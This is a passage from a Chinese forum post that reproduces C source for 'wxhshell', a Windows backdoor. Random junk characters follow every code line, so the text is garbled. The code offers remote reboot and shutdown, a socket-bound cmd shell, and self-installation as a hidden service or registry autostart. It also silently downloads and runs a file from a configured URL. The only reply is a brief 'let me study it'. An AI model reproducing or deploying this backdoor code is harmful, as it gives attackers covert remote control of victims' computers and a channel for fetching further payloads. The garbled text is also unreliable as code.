  if(DownloadFile(cmd,wsh)) K$B~vy6E`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 66$ hdT$  
  else DF'~ #G8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3(gOF&Uf9  
  } JbMp /  
  else { 8Qj1%Ri:U  
9[DlJ@T}  
    switch(cmd[0]) { ePxAZg$ `>  
  *)oBE{6D  
  // 帮助 `B,R+==G:  
  case '?': { sGpAaGY>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fzAkUvo  
    break; zAev@+.ld  
  } 91DevizXx  
  // 安装 z46Sh&+  
  case 'i': { } :gi<#-:G  
    if(Install()) [HQ/MkP-Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }_H\ 75Iv  
    else %?F$3YN,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^+gD;a|t  
    break; @gmo;8?k  
    } (]10Z8"fJ  
  // 卸载 I|;C} lfp  
  case 'r': { W7{^/s5r  
    if(Uninstall()) B|{E[]iK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VW;E14  
    else M a3}w-=;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H6Gs&yk3  
    break; h##U=`x3  
    } n</Rd=  
  // 显示 wxhshell 所在路径 =}Q|#C  
  case 'p': { D 5:'2i  
    char svExeFile[MAX_PATH]; Fq%NY8KNE  
    strcpy(svExeFile,"\n\r"); +8"P*z,  
      strcat(svExeFile,ExeFile); bQPO'S4  
        send(wsh,svExeFile,strlen(svExeFile),0); (m=1yj9  
    break; Eb CK9  
    } A"R(?rQi=  
  // 重启 g1]bI$;  
  case 'b': { P\QbMj1U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v yt|x5  
    if(Boot(REBOOT)) < 'BsQHI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .CNwuN\  
    else { aSgKh  
    closesocket(wsh); vj]h[=:  
    ExitThread(0); NgF"1E  
    } bQ&%6'ck  
    break; pd.unEWwF  
    } )h{+pK  
  // 关机 x|()f 3{.  
  case 'd': { NJ;m&Tm,DF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #.C2_MN>  
    if(Boot(SHUTDOWN)) )5y" T0]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WLta{A?  
    else { T[c-E*{hR  
    closesocket(wsh);  .C5JQO  
    ExitThread(0); uyWw3>  
    } oMOh4NH,x  
    break; /}iBrMD{[  
    } sD&V_ &i  
  // 获取shell {+3g*s/HI  
  case 's': { {>XoE %  
    CmdShell(wsh); 6Ypc]ym=J  
    closesocket(wsh); xr7M#n  
    ExitThread(0); a`?Vc}&  
    break;  5PC:4  
  } <:mK&qu f  
  // 退出 <(yAat$H  
  case 'x': { Q("4R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `O;4 b#!g  
    CloseIt(wsh); @P i]kWW})  
    break;  3UKd=YsJ  
    } Q}a(vlZ  
  // 离开 Z%=A[` 5]  
  case 'q': { 1KR4Wq@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <(V~eo e  
    closesocket(wsh); kLpq{GUv:  
    WSACleanup(); PSX o"   
    exit(1); #\ysn|!J,  
    break; _+~&t9A!  
        } >hV 2p/D  
  } FN (O  
  } `U>2H4P  
pF8+< T3y  
  // 提示信息 z<0/#OP'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]!a?Lr  
} %Z,n3iND  
  } #EB Rc4>,  
n.R"n9v`  
  return; %Y5F@=>&  
} dO,; k +  
r6:e 423  
// shell模块句柄 g-NrxyTBlx  
int CmdShell(SOCKET sock) ^!n|j]aw  
{ #^$_3A Y  
STARTUPINFO si; >l=^3B,j  
ZeroMemory(&si,sizeof(si)); T7O)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vL^ +X`.td  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kxz|0l  
PROCESS_INFORMATION ProcessInfo; ?I"?J/zm  
char cmdline[]="cmd"; N%1nii  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >g@@ yR,  
  return 0; p<w C{D  
} /q'-.-bo  
gkKNOus  
// 自身启动模式 {MDM=;WP_  
int StartFromService(void) { 9\/aXPS  
{ `~41>mM%  
typedef struct !T8sWMY  
{ 5j9%W18  
  DWORD ExitStatus; bqx2lQf,_  
  DWORD PebBaseAddress; +kD JZ  
  DWORD AffinityMask; )V*`(dn'zm  
  DWORD BasePriority; b@K1;A! S  
  ULONG UniqueProcessId; l0g+OMt  
  ULONG InheritedFromUniqueProcessId; ;W FiMM\  
}   PROCESS_BASIC_INFORMATION; ez5>V7Y  
k72NXagh  
PROCNTQSIP NtQueryInformationProcess; YNKvR  
y|3("&)"S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *O)i)["  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iWW >]3Q  
/WK1(B:  
  HANDLE             hProcess; P.1Z@HC  
  PROCESS_BASIC_INFORMATION pbi; V-X Ty iv  
pqju@FD *  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D>Rlm,U  
  if(NULL == hInst ) return 0; '- #QK'p  
,pQ[e$u1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7m?fv Ky  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jtE'T}!d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R4$(NNC+/  
&yOl}?u  
  if (!NtQueryInformationProcess) return 0; T\:*+W37  
&Mt0Qa[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dNov= w  
  if(!hProcess) return 0; [6/8O  
NZFUCD)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :()K2<E  
:/t_5QN  
  CloseHandle(hProcess); 8|5+\1!#/)  
6Lg#co}9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3 +`,'Q9  
if(hProcess==NULL) return 0; fRkx ^u P  
6k<3,`VV|  
HMODULE hMod; x;LO{S4Z  
char procName[255]; b5f+q:?{  
unsigned long cbNeeded; -mLu!32I<  
'UZ i>Ta  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =@X?$>'  
Y@T$O<*  
  CloseHandle(hProcess); '0&HkM{ D  
HsT6 #K  
if(strstr(procName,"services")) return 1; // 以服务启动 %kgT=<E'  
j_0l'Saj  
  return 0; // 注册表启动 {]N7kY.W  
} N$.ls48a4-  
7;] IlR6  
// 主模块 M8y|Lm}o  
int StartWxhshell(LPSTR lpCmdLine) 1(% 6X*z  
{ Ub4)x  
  SOCKET wsl; vu*9(t)EC  
BOOL val=TRUE; [lK`~MlQ  
  int port=0; K2V?[O#  
  struct sockaddr_in door; &>K|F >7q  
IMpL+W.  
  if(wscfg.ws_autoins) Install(); Ke~!1S8=  
ZZfi,0R  
port=atoi(lpCmdLine); N.SV*G @  
#c'}_s2F[  
if(port<=0) port=wscfg.ws_port; aQzmobleep  
{BJH}vV1)  
  WSADATA data; #Pg?T%('`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h53G$Ol.  
4! F$nmG)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V!e*J,g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s:z  
  door.sin_family = AF_INET; _)4zm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M*~XpT3  
  door.sin_port = htons(port); #]^M/y h  
f3:dn7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RK)ikLgp  
closesocket(wsl); |I|,6*)xg  
return 1; KxfH6:\RB  
} ft iAty0n  
]I;owk,  
  if(listen(wsl,2) == INVALID_SOCKET) { o_ [I#PT  
closesocket(wsl); yBv4 xKMH  
return 1; NL!xk cXO  
} .v9i|E=<~  
  Wxhshell(wsl);  BrZ17  
  WSACleanup(); Q^?$2ck=  
{?X +Yw  
return 0;  ;CV'  
Z 8GIZ  
} g|4>S<uC  
^?0?*  
// 以NT服务方式启动 %(s2{$3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ma"M?aM  
{ q>6,g>I  
DWORD   status = 0; dKw[#(m5v  
  DWORD   specificError = 0xfffffff; %uo#<Ny/ I  
c^5fhmlt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >gn@NJ2N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !!Yf>0u#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q2Uk0:M  
  serviceStatus.dwWin32ExitCode     = 0; <YCR^?hJSi  
  serviceStatus.dwServiceSpecificExitCode = 0; i=fhK~Jd  
  serviceStatus.dwCheckPoint       = 0; wGHVq fm5  
  serviceStatus.dwWaitHint       = 0; ^a!oq~ZSy  
W4h]4X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sp0_f;bC  
  if (hServiceStatusHandle==0) return; `H^ H#W  
+]hc!s8  
status = GetLastError(); X [?E{[@Z  
  if (status!=NO_ERROR) D?H|O[  
{ OXX D}-t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X 3ZKN;  
    serviceStatus.dwCheckPoint       = 0; B\;fC's+  
    serviceStatus.dwWaitHint       = 0; VHL[Y  
    serviceStatus.dwWin32ExitCode     = status; F0kQ/x  
    serviceStatus.dwServiceSpecificExitCode = specificError; =H}}dC<)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -}8r1jQH;  
    return; NG4@L1f%  
  } nGTqW/k[+s  
?9*[\m?-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~4ijiw$  
  serviceStatus.dwCheckPoint       = 0; $u)#-X;x  
  serviceStatus.dwWaitHint       = 0; oiz]Bd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }j\8|UG  
} V:AA{<  
Prv=f@  
// 处理NT服务事件,比如:启动、停止 ksYPF&l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V:gXP1P  
{ +]Z *_?j9{  
switch(fdwControl) g+C~}M_7  
{ ~AF' 6"A  
case SERVICE_CONTROL_STOP: =]<X6!0mR  
  serviceStatus.dwWin32ExitCode = 0; 2k`Q+[?{q>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `0R>r7f)H  
  serviceStatus.dwCheckPoint   = 0; QCfR2Nn}  
  serviceStatus.dwWaitHint     = 0; 9a'}j#mJo  
  { tZr_{F@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "YV vmCp  
  } 2W63/kRbU  
  return; hCj8y.X|E(  
case SERVICE_CONTROL_PAUSE: xp"F)6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ED A6b]  
  break; k rXU*64  
case SERVICE_CONTROL_CONTINUE: R ~#&xfMd.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '5 9{VA6h  
  break; ?A 5;"  
case SERVICE_CONTROL_INTERROGATE: 70nBC  
  break; O+~@ S~  
}; IXR%IggJA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s 8lfW6  
} 1kh()IrA  
;]%Syrzp  
// 标准应用程序主函数 08nA}+k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QU@CPME  
{ nTz( {q  
,WS{O6O7  
// 获取操作系统版本 P m|S>r  
OsIsNt=GetOsVer(); NF_[q(k'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2K{)8 ;^  
!LpFK0rw  
  // 从命令行安装 4/&.N]  
  if(strpbrk(lpCmdLine,"iI")) Install(); .gw6W0\F  
8oP"?ew#  
  // 下载执行文件 %lGg}9k'  
if(wscfg.ws_downexe) { TnPx.mwK\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F\+!\b*lP  
  WinExec(wscfg.ws_filenam,SW_HIDE); ov'C0e+o  
} a &hj|  
#:[CF:  
if(!OsIsNt) { 9:*a9xT,  
// 如果时win9x,隐藏进程并且设置为注册表启动 12bztlv  
HideProc(); HgOrrewj  
StartWxhshell(lpCmdLine); D (Q=EdlO  
} )AAPT7!U  
else 6W N(Tw  
  if(StartFromService()) zUJPINDb  
  // 以服务方式启动 D(">bR)1  
  StartServiceCtrlDispatcher(DispatchTable); Jrx]/CM  
else ^:o^g'Yab  
  // 普通方式启动 DA/ \[w?J  
  StartWxhshell(lpCmdLine); ujbJ&p   
ZJ |&t  
return 0; <{k8 K6  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五